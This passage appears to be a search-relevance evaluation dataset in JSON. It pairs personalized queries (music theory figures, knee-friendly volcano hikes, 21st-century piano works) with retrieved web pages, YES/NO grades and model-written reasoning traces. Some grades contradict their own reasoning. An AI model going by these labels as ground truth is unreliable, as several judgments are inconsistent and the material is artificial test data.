or authors}: The document mentions Ken Burns, who is a renowned documentarian, and Shelby Foote, a southern novelist known for his storytelling about the Civil War. It also references Robert Toplin, who published critical essays about the documentary -> ([1], SATISFIED)\n\nAssessment: The document mentions several renowned figures associated with Civil War history, including Ken Burns, Shelby Foote, and Robert Toplin. YES"
            }
        ]
    },
    {
        "query": "I'm a musician and songwriter looking to learn more about music theory and composition. Are there any famous music theorists or composers that I could research to improve my songwriting skills?",
        "grid_pos": [
            3,
            8
        ],
        "grid_pos_str": "Search Query Format: Personalized Query, Search Result Type: Person",
        "reasoning_trace": [
            "The queries are designed to test Exa's ability to understand personalized information about the user and their interests, and provide relevant recommendations for experts, researchers, or thought leaders in those domains. The queries cover a range of fields, including machine learning, computer science, customer service, history, and music theory. By asking for specific individuals to learn from, the queries require Exa to have a deep understanding of the people and their contributions within those fields."
        ],
        "results": [
            {
                "grade": "YES",
                "title": "Aaron Copland, composer {Official Site}",
                "url": "https://www.aaroncopland.com/",
                "published_date": "2023-01-26",
                "text": "Home Biography Bibliography Awards Postlude Canonical Works Arrangements Advanced Search News Events Contact Search Permissions and Rights Site Help Site Map Monthly Series Midday Thoughts A series of musings about, around, and related to Copland and his music featuring musicologist Jennifer DeLapp-Birkett Read the Latest The Man Behind The Music Aaron Copland \"To stop the flow of music would be like the stopping of time itself, incredible and inconceivable.\" \u2013 Aaron Copland More about The Man Behind The Music Featured Events Feb 7th, 2023 7:30 pm Copland Dance Episodes Justin Peck, choreographer / New York City Ballet David H. Koch Theater, 20 Lincoln Center Plaza, New York, NY, United States, 10023 Description The New York City Ballet presents a new, evening-length work by Justin Peck in collaboration with painter and sculptor Jeffrey Gibson featuring music by Aaron Copland. Additional Performances Feb 16th & 17th, 2023 8:00 pm American Classics Tiroler Symphonieorchester / Teddy Abrams Congress, Saal Tirol, Rennweg 3, Innsbruck, Austria, 6020 Description Program GERSHWIN Rhapsody in Blue COPLAND Third Symphony Mar 14th, 2023 8:05 pm Kammermusik: Schumann Quartett Schumann Quartett BR Studio 2, Rundfunkpl. 1, M\u00fcnchen, Germany, 80335 Description Program BERG String Quartet, Op. 3 JANACEK String Quartet No. 1, \"Kreutzer Sonata\" KRENEK String Quartet No. 3, Op. 20 COPLAND Movement Additional Performances Apr 16th, 2023 6:00 pm Kammermusik+ | Schumann Quartett Schumann Quartett Gewandhaus, Mendelssohn-Saal, Augustuspl. 8, Leipzig, Germany, 04109 Description Program KREISLER String Quartet in A Minor JANACEK String Quartet No. 1 KRENEK String Quartet No. 3, op. 20 COPLAND Movement for String Quartet Additional Performances Aaron Copland The Man Behind the Music Many know of Aaron Copland the composer, writer, educator, and conductor, but far fewer have had the chance to know the man himself. Vivian Perlis, founding director of the Oral History Project in American Music & co-author of Copland\u2019s autobiographies, not o",
                "model_trace": "Query Decomposition:\n1. {Musician and songwriter looking to learn more about music theory and composition}: The query implies an interest in learning from established figures in music theory and composition -> ([1], SATISFIED)\n2. {Famous music theorists or composers to research}: The document is about Aaron Copland, a famous composer, which aligns with the query's need for a notable figure to research -> ([1], SATISFIED)\n\nAssessment: The document provides detailed information about Aaron Copland, a renowned composer, which is relevant for someone looking to learn more about music theory and composition. Both key subcomponents are satisfied. YES"
            },
            {
                "grade": "YES",
                "title": "Joseph Schillinger - Wikipedia",
                "url": "https://en.wikipedia.org/wiki/Joseph_Schillinger",
                "published_date": "2004-07-14",
                "text": "From Wikipedia, the free encyclopedia\n\nJoseph Moiseyevich Schillinger (Russian: \u0418\u043e\u0441\u0438\u0444 \u041c\u043e\u0438\u0441\u0435\u0435\u0432\u0438\u0447 \u0428\u0438\u043b\u043b\u0438\u043d\u0433\u0435\u0440, 1 September [O.S. 20 August] 1895 [1] [2] (other sources: 31 August [O.S. 19 August] 1895 [3] ) \u2013 23 March 1943) was a composer, music theorist, and composition teacher who originated the Schillinger System of Musical Composition. He was born in Kharkov, in the Kharkov Governorate of the Russian Empire (present-day Ukraine) and died in New York City.\n\nLife and career[edit]\nThe unprecedented migration of European knowledge and culture that swept from East to West during the first decades of the 20th century included figures such as Prokofiev and Rachmaninov, composers who were the product of the Russian system of music education. Schillinger came from this background, dedicated to creating professional musicians, having been a student at the St Petersburg Imperial Conservatory of Music. He communicated his musical knowledge in the form of a written theory, using mathematical expressions to describe art, architecture, design and music.[ citation needed ]\n In New York, Schillinger flourished, becoming famous as an advisor to many leading U.S. musicians and concert music composers, including George Gershwin, Earle Brown, Benny Goodman, Glenn Miller, Oscar Levant, Tommy Dorsey and Henry Cowell.[ citation needed ]\n Gershwin spent four years (1932\u201336) studying with Schillinger. During this period, he wrote Porgy and Bess and consulted Schillinger on it, particularly the orchestration. There has been some disagreement about the nature of Schillinger's influence on Gershwin. After the posthumous success of Porgy and Bess, Schillinger claimed he had a large and direct influence in overseeing its creation; Ira Gershwin completely denied that his brother had any such assistance for the work. A third account of Gershwin's musical relationship with Schillinger was written by Gershwin's close friend Vernon Duke, also a Schillinger student, in an article for The Musical Quarterly in 1947. [4] Some of Gershwin's notebooks fr",
                "model_trace": "Query Decomposition:\n1. {famous music theorists}: This document is about Joseph Schillinger, who is a notable music theorist -> ([1], SATISFIED)\n2. {famous composers}: The document mentions that Schillinger was also a composer -> ([1], SATISFIED)\n3. {information to improve songwriting skills}: The document details Schillinger's influence on notable musicians and his development of the Schillinger System of Musical Composition, which could be useful for learning about music theory and composition -> ([1], SATISFIED)\n\nAssessment: The document satisfies all key subcomponents. YES."
            },
            {
                "grade": "YES",
                "title": "George Russell",
                "url": "http://www.georgerussell.com/",
                "published_date": "2022-01-01",
                "text": "Home | George Russell | The Lydian Chromatic Concept | Purchase The Book | Discography | The Orchestra | Contact\n\u00c2\u00a9 2001-2022Concept Publishing. All Rights Reserved.\nweb design by sheppco\n\nGeorge Russell's The Lydian Chromatic Concept of Tonal Organization: Please select your country shipping below. This is book and shipping.\n\nUS Shipping - 130.00 USDCanada, Hawaii and Alaska - 145.00 USDGlobal - 155.00 USD",
                "model_trace": "[QUERY] I'm a musician and songwriter looking to learn more about music theory and composition. Are there any famous music theorists or composers that I could research to improve my songwriting skills?\n\n[WEBPAGE INFORMATION]\n[TITLE] George Russell\n[URL] http://www.georgerussell.com/\n[DATE PUBLISHED] 2022-01-01\n[CONTENT] Home | George Russell | The Lydian Chromatic Concept | Purchase The Book | Discography | The Orchestra | Contact\n\u00a9 2001-2022 Concept Publishing. All Rights Reserved.\nweb design by sheppco\n\nGeorge Russell's The Lydian Chromatic Concept of Tonal Organization: Please select your country shipping below. This is book and shipping.\n\nUS Shipping - 130.00 USDCanada, Hawaii and Alaska - 145.00 USDGlobal - 155.00 USD\n\nQuery Decomposition:\n1. {famous music theorists or composers}: The document is about George Russell, who is a known music theorist -> ([1], SATISFIED)\n2. {information to improve songwriting skills}: The document mentions George Russell's \"The Lydian Chromatic Concept of Tonal Organization,\" which is a significant work in music theory that could help improve songwriting skills -> ([1], SATISFIED)\n\nAssessment: The document satisfies both key subcomponents. YES."
            },
            {
                "grade": "YES",
                "title": "43 Music Theory Concepts That EVERY Modern Composer Should ...",
                "url": "https://www.youtube.com/watch?v=qeS8txkoUH4",
                "published_date": null,
                "text": "My pro theory + songwriting course:  https://bit.ly/2J2Nctn\nEnroll in my Rhythm Training Course at ANY price! https://bit.ly/3wDacU4\nDownload the PDF:https://bit.ly/2J2Nctn\nCheck out NODA! http://noda.io/\nThis is a tour of music theory for the modern composer. I think these concepts are very important to learn, and in this order specifically! This doesn't encapsulate all of music, but it is a very solid foundation. Knowing these topics will enable a songwriter to easily approach new advanced music theory topics with ease.\nSorry it's been so long since I've posted - I was working all day shifts to finish this course. I started it last year actually but gave up since it was so much work. Fortunately I found the motivation after my last video to wrap it up - I honestly think it's the greatest course available on the internet, and I think the price is great for the amount of content you get compared to actual guitar lessons. \nNow that my course is done, I can start working on YT again. Expect the Locrian video soon, along with some surprises....\nTHANK YOU TO MY PATREON SUPPORTERS. Without them, there would be no YT channel or course!\nwww.patreon.com/signalsmusicstudio\nTable of Contents:\n00:00 - Intro\n01:58 - Begin the Tour\n25:33 - \\\"Composers\\\"\n| view_count: 579,347 views | short_view_count: 579K views | num_likes: 34K | num_subscribers: 629K",
                "model_trace": "Query Decomposition:\n1. [Musician and songwriter looking to learn more about music theory and composition]: The document is a YouTube video about music theory concepts for modern composers, which is relevant to learning about music theory and composition -> ([1], SATISFIED)\n2. [Famous music theorists or composers to research]: The document does not mention any famous music theorists or composers to research -> ([0], UNSATISFIED)\n\nAssessment: The relevant subcomponent is whether the document provides useful information about music theory and composition, which it does. However, it does not address the specific request for famous music theorists or composers to research. Since the latter subcomponent is tagged [0], it should not affect the overall evaluation.\n\nGiven that the document satisfies the key subcomponent related to music theory and composition, it is helpful for the user's query. YES."
            },
            {
                "grade": "NO",
                "title": "How to Compose Music - Art of Composing - Learn to Create Music",
                "url": "https://www.artofcomposing.com/how-to-compose-music-101",
                "published_date": null,
                "text": "What does it take to learn composition?\nThe fastest way to learn composition is to memorize small fragments of music, and then learn to change and combine those fragments in very specific ways.\nThe process of changing it, actually forces you to understand it.\nWhen I started Art of Composing in 2011, I had a loose idea of the things I needed to learn. But it wasn\u2019t very clear in my mind.\nSo I set out reading just about every music theory or composition book I could get my hands on. And I blogged about it at the same time.\nWhat is your motivation for composing?\nSince launching my original free composing course on youtube back in 2011, I\u2019ve asked many of the 35,000 people who\u2019ve taken it what their goals are for composing. \nIf any of these describe you, keep reading.\n You want to compose music that clearly expresses yourself and your emotions in a way that others understand.  You want to create music mostly for yourself, but you\u2019re interested in film, TV, and video games. You want to write down what you hear inside your head, and from that create longer works, hit songs, or just a good piece of music. You want to understand how music works, but your music theory is a little bit\u2026 shall we say\u2026 sketchy. \nYour goals may be slightly different, but in the end, we all want some of the same things. To express ourselves, to bring joy to others through music, and to just simply  create .\nLearning composition is a process that will take time. There is a lot you don\u2019t know, and that\u2019s okay.\nComposition is rewarding because there is no end to learning and growing.\nYou Already Have Listening Experience, and Background Knowledge\nWe all come to music with a lifetime of listening experiences. I grew up playing trumpet in wind bands and jazz bands. \nOthers may have had no experience playing at all. \nWe also learn little tidbits about music along the way. Confusing quotes like \u201cMusic is the space between the notes,\u201d which happens to be simultaneously attributed to Miles Davis, Claude Debussy, and Mozart.\nThis is your background knowl",
                "model_trace": "Query Decomposition:\n1. {Musician and songwriter looking to learn more about music theory and composition}: The document provides information on learning music composition and theory, which aligns with this subcomponent -> ([1], SATISFIED)\n2. {Famous music theorists or composers to research}: The document does not mention any specific famous music theorists or composers to research -> ([1], UNSATISFIED)\n\nAssessment: The document satisfies the first subcomponent but does not address the second subcomponent about famous music theorists or composers. Therefore, it does not fully meet the user's query. NO."
            },
            {
                "grade": "NO",
                "title": "Use of Music Theory in Composition",
                "url": "https://music.stackexchange.com/questions/28931/use-of-music-theory-in-composition",
                "published_date": null,
                "text": "Theory informs the craft of composition. Limitations in the development of craft can restrict the musician\u2019s expressive potential within the art of composition. \n Composition as Craft: \nvirtuosity developed via music theory as generalizations, descriptive rules and patterns of style, technique, and method; developing understanding and excellence in the practice (i.e. the practice of music, law, medicine).\n Composition as Art: \na practice/process existing beyond theory, measurement and rules: imagination, intuition, creativity, exploration, curiosity, aesthetics; awareness of meaning\nExpressive potential in the art of composition and performance is limited by:\nExpertise in craft: how, what;\ntechnique, theory, practical experience historical awareness of styles, methods, techniques/technology, analysis, imitation, execution, proficiency, virtuosity, technique development, intellectual development; didactic and experiential learning; development of expressive means (toolkit).\nArtistic development: why;\nlife experience, emotional, perceptual and aesthetic awareness, intuition, imagination, insight, curiosity, innovation; a search for meaning and aesthetic expression beyond current limits.\nIntrinsic/Extrinsic factors:\ntalent, intelligence, creativity, motivation, persistence, opportunity, support, etc. \nAI (artificial intelligence) can generate music compositions reliant on rule-based styles, techniques and theoretical methods of composition (i.e. aleatoric, stochastic, algorithmic, serialisms, fugues). Increasingly, the rule bound aspects of the craft of composition (styles, forms, techniques, etc.) are being replicated and simulated by technology. \n  https://ailabs.tw/human-interaction/ai-music-composition/  \nIn a sense, AI technology demonstrates the generative possibilities of composition as craft only. That is, based on theoretical models. And this illuminates to a further degree many of the differences existing between the craft and art of music composition.",
                "model_trace": "Query Decomposition:\n1. {Famous music theorists or composers}: The document does not mention any specific famous music theorists or composers -> ([0], UNSATISFIED)\n2. {Learning about music theory}: The document discusses the use of music theory in composition -> ([1], SATISFIED)\n3. {Learning about composition}: The document discusses composition in detail, including the craft and art of composition -> ([1], SATISFIED)\n\nAssessment: The document satisfies the subcomponents related to learning about music theory and composition. However, it does not address the subcomponent about famous music theorists or composers. Since the user's query specifically asks for famous figures to research, the absence of this information makes the document unhelpful for the user's specific needs. NO."
            }
        ]
    },
    {
        "query": "As a 40-year-old avid hiker with bad knees living in the Pacific Northwest, what are some challenging but knee-friendly trails with breathtaking views of volcanoes?",
        "grid_pos": [
            3,
            9
        ],
        "grid_pos_str": "Search Query Format: Personalized Query, Search Result Type: Fact/Trivia/Knowledge",
        "reasoning_trace": [
            "These queries are personalized, challenging, and require specific knowledge to answer effectively. They combine personal information with niche interests, making them ideal for testing Exa's ability to understand context and provide relevant, high-quality results. The queries span diverse topics including outdoor activities, music, science, history, and crafts, while also incorporating personal factors like age, physical condition, dietary preferences, and living situations."
        ],
        "results": [
            {
                "grade": "NO",
                "title": "Emerald Ridge Trail - Mount Rainier National Park (U.S. National Park Service)",
                "url": "https://www.nps.gov/mora/planyourvisit/emerald-ridge.htm",
                "published_date": "2020-11-19",
                "text": "Emerald Ridge Trail\n\nDistance, round trip: Approximately 9 road miles + 7 trail miles = 16 miles\nElevation gain: 2100 feet\nHiking time, round trip: 8-9 hours\nWilderness Camp: South Puyallup River Camp\n\nTrail Description \nTake the Westside Road to the gate at Dry Creek (approximately 3 miles from the start of the road). Due to danger from rock fall, vehicles must park south of the barricade at Dry Creek. Hikers and bicyclists should travel through the area with caution and avoid lingering in the rock fall hazard zone. Hike up the closed portion of the road to the Puyallup River trailhead (approximately 4.5 miles). \nThe first 1.6 miles of trail climbs gradually through old growth forest to the South Puyallup Camp. From the camp, the trail becomes very rocky and climbs more steeply. \nOnce atop Emerald Ridge, please stay on the constructed trails and rock outcroppings. The delicate subalpine vegetation is damaged by off-trail hiking and other uses. \nNOTE: Always check current trail conditions before heading out. Log footbridges frequently wash out during the winter or other conditions could be affecting the trail. Along the Trail \nAbout 1.5 miles up the trail look for high columns of andesite. These hexagonal columns were formed during the cooling process after hot lava flowed through the valley thousands of years ago. Atop Emerald Ridge, the vegetation changes from forest to subalpine. Hikers may enjoy superb views of the Tahoma Glacier and Mount Rainier.\n Backpacking \nThe South Puyallup River Camp is located 1.6 miles from the trailhead near the junction with the Wonderland Trail. Camping is not permitted atop Emerald Ridge because of the fragile nature of the area and the lack of suitable spots. Permits are required for camping. Permits and current trail conditions are available park-wide from wilderness information centers, ranger stations, and visitor centers. Fires are prohibited. No pets on trails. Treat water before drinking.",
                "model_trace": "Query Decomposition:\n1. {Challenging but knee-friendly trails}: This document describes the Emerald Ridge Trail, which has a significant elevation gain and steep sections, making it potentially challenging and not necessarily knee-friendly -> ([1], UNSATISFIED)\n2. {Breathtaking views of volcanoes}: The document mentions superb views of the Tahoma Glacier and Mount Rainier, which is a volcano -> ([1], SATISFIED)\n3. {Located in the Pacific Northwest}: The trail is located in Mount Rainier National Park, which is in the Pacific Northwest -> ([1], SATISFIED)\n4. {Suitable for a 40-year-old avid hiker with bad knees}: The trail's steep and rocky sections may not be suitable for someone with bad knees -> ([2], UNSATISFIED)\n\nAssessment: The relevant subcomponents are {Challenging but knee-friendly trails}, {Breathtaking views of volcanoes}, and {Located in the Pacific Northwest}. Since the document does not satisfy the subcomponents related to knee-friendly trails and suitability for someone with bad knees, it is not helpful for the user's request. NO."
            },
            {
                "grade": "YES",
                "title": "Ape Canyon Trail Mountain Bike Trail, Amboy, Washington",
                "url": "https://www.mtbproject.com/trail/993969/ape-canyon-trail",
                "published_date": "2010-04-06",
                "text": "Because of its height abbove sea level, this trail accumulates a lot of snow. You'll have access to the trail as early as June (when snow generally melts), however it's not officially opened until deemed ready by the Forest reserve. You can check the status here: fs.usda.gov/recarea/mountst\u2026.\n\nTo park here you need a Northwest Forest Pass which you can purchase online or on location (near the Ape Canyon Cave).\n\nDescription\n\nYou can park right in front of the starting point. The trail is 100% singletrack that gradually takes you up the southeast side of the volcano, Mt. Saint Helens. You'll occasionally get openings with gorgeous views across the plains, a devastation spurred by its eruption in the 80's. Views are pretty unique as you'll see the direct path of the lava flow down the volcano.\n\nOnce you get near the top, you'll leave the forest and head into ashen volcanic plains (marked as the ending point on the trail). You'll have an amazing view with some of the Pacific Northwest's tallest mountains surrounding you. You'll of course have Saint Helens in front of you, however depending on the visibility you can also have a clear view of Mt. Rainier, Mt. Hood and Mt. Adams all at this point.\n\nIt's from here that you can decide to tackle The Plains of Abraham, which is one of the IMBA epic trails that tracks the rider around the eastern perimeter of the volcano. It's a very favorable ride (as an IMBA epic should be), but considering the altitude gain, it is covered in snow most of the year. It's recommended to try tackling it from July to October.\n\nContacts\n\nShared By: Nick Alvey\n\nTrail Ratings\n\nPhotos\n\nWeather\n\nCurrent Trail Conditions\n\nUnknown\n\nAdd Your Check-In\n Check-Ins\n\nJul 20, 2019\n\nDan Beel \n Trail is in good condition. A few technical spots to hike through (\n 20mi\n\nNearby Recommended Routes",
                "model_trace": "Query Decomposition:\n1. {40-year-old avid hiker with bad knees}: This subcomponent requires specific information about trail difficulty and knee-friendliness -> ([0], UNSURE)\n2. {living in the Pacific Northwest}: The trail is located in the Pacific Northwest (Amboy, Washington) -> ([1], SATISFIED)\n3. {challenging but knee-friendly trails}: This subcomponent requires specific information about the trail being challenging yet suitable for someone with bad knees -> ([0], UNSURE)\n4. {breathtaking views of volcanoes}: The trail offers views of Mt. Saint Helens and potentially other volcanoes like Mt. Rainier, Mt. Hood, and Mt. Adams -> ([1], SATISFIED)\n\nAssessment: The document satisfies the subcomponents related to the location and views of volcanoes. However, it does not provide specific information about the trail being knee-friendly, which is a crucial aspect of the query. Since the key subcomponents tagged with [1] are SATISFIED, but the knee-friendly aspect is not addressed, the document might still be useful for someone looking for trails with breathtaking views of volcanoes in the Pacific Northwest.\n\nUsing best judgment, the document could still be partially helpful despite missing the knee-friendly aspect. YES."
            },
            {
                "grade": "NO",
                "title": "Lava Canyon",
                "url": "https://www.wta.org/go-hiking/hikes/lava-canyon",
                "published_date": "2021-12-17",
                "text": "South Cascades > Mount St. Helens\n\n46.1654,\n -122.0889\n\nMap & Directions\n\nLength\n\n5.0 miles, roundtrip\n\nElevation Gain\n\n1600 feet\n\nHighest Point\n\n2800 feet\n\nThe suspension bridge on the Lava Canyon trail is closed due to cable damage\n\nHiking Lava Canyon\n\nLava Canyon Map & Directions\n\nTrailhead\n\nYou can improve or add to this guidebook entry\n\nContact Us\n\nWashington Trails Association\n 705 2nd Ave, Suite 300\n Seattle, WA 98104\n (206) 625-1367\n\nGet Trail News\n\nSubscribe to our free email newsletter for hiking events, news, gear reviews and more.\n\nTrails for everyone, forever\n\nDesign:",
                "model_trace": "Query Decomposition:\n1. {Challenging but knee-friendly trails}: The document mentions the Lava Canyon trail, which is 5.0 miles roundtrip with an elevation gain of 1600 feet. However, it does not provide explicit information on whether it is knee-friendly -> ([1], UNSURE)\n2. {Breathtaking views of volcanoes}: The document mentions that the trail is located in the South Cascades near Mount St. Helens, which implies views of the volcano -> ([2], SATISFIED)\n3. {Located in the Pacific Northwest}: The document indicates the trail is in Washington, which is in the Pacific Northwest -> ([1], SATISFIED)\n\nAssessment: The relevant subcomponents are {Breathtaking views of volcanoes} and {Located in the Pacific Northwest}, both of which are satisfied. However, the document does not provide clear information on whether the trail is knee-friendly. Despite this, the trail's location and the potential for views of Mount St. Helens make it likely relevant for the user's interest in breathtaking views of volcanoes.\n\nGiven the user's specific concern about knee-friendliness, the lack of explicit information on this aspect is a significant gap. Therefore, the document is not fully helpful for the user's query. NO."
            },
            {
                "grade": "NO",
                "title": "The Time I Hiked 93 Miles around Mount Rainier - Portland Monthly",
                "url": "https://www.pdxmonthly.com/travel-and-outdoors/2024/06/washington-mount-rainier-hiking-wonderland-trail",
                "published_date": null,
                "text": "The river surged like an open fire hydrant. The water, cloudy with silt, pulled boulders loose and pounded them against each other, so loud I felt it in my teeth. On the other side of a footlog waited not just our campsite but our resupply caches: five-gallon paint buckets filled with food we\u2019d sent ourselves ahead of time.\nA ranger had warned us that, in heat like this, alpine glaciers melt more rapidly; by late afternoon, water levels rise. Sure enough, over the next 10 minutes, we watched as the river went from lapping the lip of the bridge to pitching over it, waves crashing across the surface our feet were supposed to tread.\nIn the Pacific Northwest, volcanoes adorn logos and license plates. They hover on the skylines of our cities. But to spend a week circling one on foot gives you witness to a power that\u2019s as wondrous as it is wild. It\u2019s a power that demands to be heeded, which is what we did at that roaring river on the northeastern flanks of Mount Rainier, backtracking and walking the shoulder of a road to our campsite along of the most strenuous, and sublime, hikes around.\nThe writer at Mystic Lake\n First blazed in 1915,  Mount Rainier\u2019s Wonderland Trail travels 93 miles through mossy forests and wildflower-studded meadows, along high ridges and windswept scree slopes. Climbing in and out of river basins, its elevation profile is a relentless zigzag, its total gain the equivalent of two and a half trips to the summit. Engineers once wanted this route to be a roadway; instead, it\u2019s become a bucket-list trek in the Pacific Northwest, with a beast of a permit system to match.\nLast summer, after some big-time lottery luck, my friend Claire and I set out from the Longmire trailhead for an eight-day circuit. The first few days, temperatures broke 100, more than 20 degrees above normal. The heat made for an electric palette: cerulean skies, meadows so green they seemed to glow. It slowed us, but deliciously so,\u00a0insisting we dip our hats in\u00a0icy creeks and our bodies in turquoise glacial tarns. We skinny-dipped ",
                "model_trace": "Query Decomposition:\n1. {Challenging but knee-friendly trails}: The document describes the Wonderland Trail around Mount Rainier as one of the most strenuous hikes, which suggests it is not knee-friendly -> ([1], UNSATISFIED)\n2. {Breathtaking views of volcanoes}: The document mentions breathtaking views of Mount Rainier, a volcano, which satisfies this subcomponent -> ([1], SATISFIED)\n3. {Located in the Pacific Northwest}: The document is about a trail in Mount Rainier, which is located in the Pacific Northwest -> ([1], SATISFIED)\n4. {Suitable for a 40-year-old with bad knees}: The document does not provide specific information about suitability for someone with bad knees, but the description of the trail being strenuous suggests it may not be suitable -> ([2], UNSATISFIED)\n\nAssessment: The relevant subcomponents are {Challenging but knee-friendly trails}, {Breathtaking views of volcanoes}, and {Located in the Pacific Northwest}. Since {Challenging but knee-friendly trails} and {Suitable for a 40-year-old with bad knees} are UNSATISFIED, the document is not helpful for the user's request. NO."
            },
            {
                "grade": "NO",
                "title": "The 50 Best Hikes in the US - Backpacker Magazine",
                "url": "https://www.backpacker.com/trips/trips-by-state/the-50-best-hikes-in-the-us/",
                "published_date": null,
                "text": "Get full access to Outside Learn, our online education hub featuring in-depth fitness, nutrition, and adventure courses and more than 2,000 instructional videos when you sign up for Outside+\n Sign up for Outside+ today.\n \n \n \n In planning this story, we set out to do the impossible: find the best hike in each state. Turns out, \u201cbest\u201d means something a little different to everyone. So rather than tinker with formulas, we turned to our most trusted source: you. Hikers from across the country flooded our inboxes and DMs to tell us about their favorite trail. We heard compelling descriptions of crowd-free sunset views, of shimmering alpine lakes, of nostalgia for places with personal significance, and so much more. From there, we narrowed the nominees down to these 50 picks. Our list might be contentious, but behind each entry is a passionate champion who convinced us that their trail is worth visiting. So, are these really the best hikes in the US? Read on, and decide for yourself.\n Leaf-covered treadpath on Alabama\u2019s Pinhoti National Recreation Trail. \nAlabama: Pinhoti National Recreation Trail\n Length: 337 miles\u00a0 \nNot many people know about the fantastic hiking in Alabama, and the Pinhoti Trail is this underrated state\u2019s crown jewel. On my favorite section, about 10 miles from the trail\u2019s southern terminus, I find solitude from step one. My daughter and I hike along a creek, where mini waterfalls surprise us as we wander under a canopy of fragrant longleaf pine and towering oak trees. Mile after mile, we don\u2019t see any other hikers. The Pinhoti is full of unexpected delights, but they don\u2019t come easy. My feet grow sore from the ups and downs, but I\u2019m eventually rewarded: We reach an overlook of the southernmost Appalachians; views over their green ridgelines make every step worth it.\u00a0\nDespite the trail\u2019s remoteness, a strong hiking community makes me feel safe and welcome as I section-hike the Pinhoti, preparing myself for an eventual thru-hike. Because of its length and reputation for being well-maintained, the Pi",
                "model_trace": "Query Decomposition:\n1. {40-year-old avid hiker with bad knees}: The document does not provide specific information tailored to a 40-year-old hiker with bad knees -> ([0], UNSURE)\n2. {living in the Pacific Northwest}: The document does not specify hikes in the Pacific Northwest -> ([0], UNSURE)\n3. {challenging but knee-friendly trails}: The document does not specify which trails are knee-friendly -> ([0], UNSURE)\n4. {breathtaking views of volcanoes}: The document does not specify trails with views of volcanoes -> ([0], UNSURE)\n\nAssessment: The document does not contain specific information about knee-friendly trails, trails in the Pacific Northwest, or trails with views of volcanoes. Therefore, it does not satisfy any of the relevant subcomponents.\n\nNO."
            }
        ]
    },
    {
        "query": "I'm a classical pianist interested in exploring contemporary classical music. Can you recommend some lesser-known 21st-century piano compositions that push the boundaries of traditional harmony?",
        "grid_pos": [
            3,
            9
        ],
        "grid_pos_str": "Search Query Format: Personalized Query, Search Result Type: Fact/Trivia/Knowledge",
        "reasoning_trace": [
            "These queries are personalized, challenging, and require specific knowledge to answer effectively. They combine personal information with niche interests, making them ideal for testing Exa's ability to understand context and provide relevant, high-quality results. The queries span diverse topics including outdoor activities, music, science, history, and crafts, while also incorporating personal factors like age, physical condition, dietary preferences, and living situations."
        ],
        "results": [
            {
                "grade": "NO",
                "title": "Five Pianos - Wikipedia",
                "url": "https://en.wikipedia.org/wiki/Five_Pianos",
                "published_date": "2021-04-03",
                "text": "From Wikipedia, the free encyclopedia\n\nFive Pianos by Morton Feldman Feldman in 1976 Composed January 31, 1972 \u2013 West Berlin Performed July 16, 1972 \u2013 West Berlin Published 1972 Scoring Five pianos and celesta \n Five Pianos is a composition for five pianists composed in 1972 by American composer Morton Feldman. The piece is scored for five pianos and one celesta performed by the fourth pianist; the performers are also required to hum specific notes throughout the composition. It was first performed in Berlin on July 16, 1972, as part of the Berliner Musiktage festival, with the composer as one of the humming pianists.\n\nBackground[edit]\nInitially entitled Pianos and Voices, [1] [a] Five Pianos was commissioned by Walter Bachauer [2] on behalf of the Berliner Musiktage, [3] while Feldman was in Berlin on a scholarship from the German Academic Exchange Service, [4] and was completed on January 31, 1972, in Berlin. [3] It premiered in Berlin on July 16, 1972, in a series of avant-garde concerts held in West Berlin from July 11 to 18 subtitled Spiel, Klang, Elektronik, Licht. [2] On this occasion, the humming pianists were John Cage, Cornelius Cardew, David Tudor, Frederic Rzewski, and Feldman himself. [4] There was a controversy in the first public performance of the piece, as a misunderstanding between Cage and Feldman caused Cage to play for twenty minutes longer than the next-slowest player. [5] [2] The US premiere took place a few months later, in October 1972. [4] The piece was published that same year by Universal Edition. [3]\n\nStructure[edit]\nThe piece is scored for five pianos, as well as one celesta to be played by the fourth pianist. Players are also required to hum specific notes throughout the composition. The 149-bar composition takes around half an hour to perform, [3] although the non-aligned, free-duration nature of the composition can cause the total duration to vary from one performance to another. [6] \n The score consists of whole notes with the sostenuto pedal held down throughout the whole piece.",
                "model_trace": "Query Decomposition:\n1. {lesser-known 21st-century piano compositions}: The document discusses \"Five Pianos\" by Morton Feldman, which was composed in 1972, not in the 21st century -> ([1], UNSATISFIED)\n2. {push the boundaries of traditional harmony}: The document does describe a piece that involves unconventional elements like humming and free-duration, which suggests it pushes traditional boundaries -> ([2], SATISFIED)\n\nAssessment: The document does not satisfy the key subcomponent of being a 21st-century composition. Therefore, it is not helpful for the user's request. NO."
            },
            {
                "grade": "YES",
                "title": "The 88 Keys of Carl Schroeder",
                "url": "http://forgotten-leaves.blogspot.com/2013/06/the-88-keys-of-carl-schroeder.html",
                "published_date": "2013-06-05",
                "text": "You know, there are times when you just can't do a one-pager in all seriousness. Carl Schroeder, a Minnesotan composer-pianist, decided he was going to write a joke piece, but let it sing, too. And it uses all the piano has to offer on its keyboard.\n\n(Click for larger view)\n 88 Keys is \"an 88-tone row for solo piano\", and it's a joke that might take a second to explain. In music theory a \"row\" is a set of notes put in a set order, most commonly in serialism, where each of the twelve notes of the chromatic scale are put into a row where no note is repeated until all have passed. In this piece Schroeder uses each key of the piano exactly once, obviously allowing for repeated like pitches. It's a neat little idea, and actually sounds like a real piece. Here's me performing it:\n\n~PNK",
                "model_trace": "Query Decomposition:\n1. {classical pianist interested in exploring contemporary classical music}: The document is about a contemporary classical music piece, so it is relevant -> ([1], SATISFIED)\n2. {lesser-known 21st-century piano compositions}: The piece \"88 Keys\" by Carl Schroeder is likely lesser-known and was composed in the 21st century -> ([2], SATISFIED)\n3. {compositions that push the boundaries of traditional harmony}: The piece uses an \"88-tone row for solo piano,\" which suggests it pushes the boundaries of traditional harmony -> ([2], SATISFIED)\n\nAssessment: All relevant subcomponents are satisfied. YES"
            },
            {
                "grade": "NO",
                "title": "Rage \u2014 ALEX BURTZOS",
                "url": "https://alex-burtzos.squarespace.com/rage",
                "published_date": "2006-01-01",
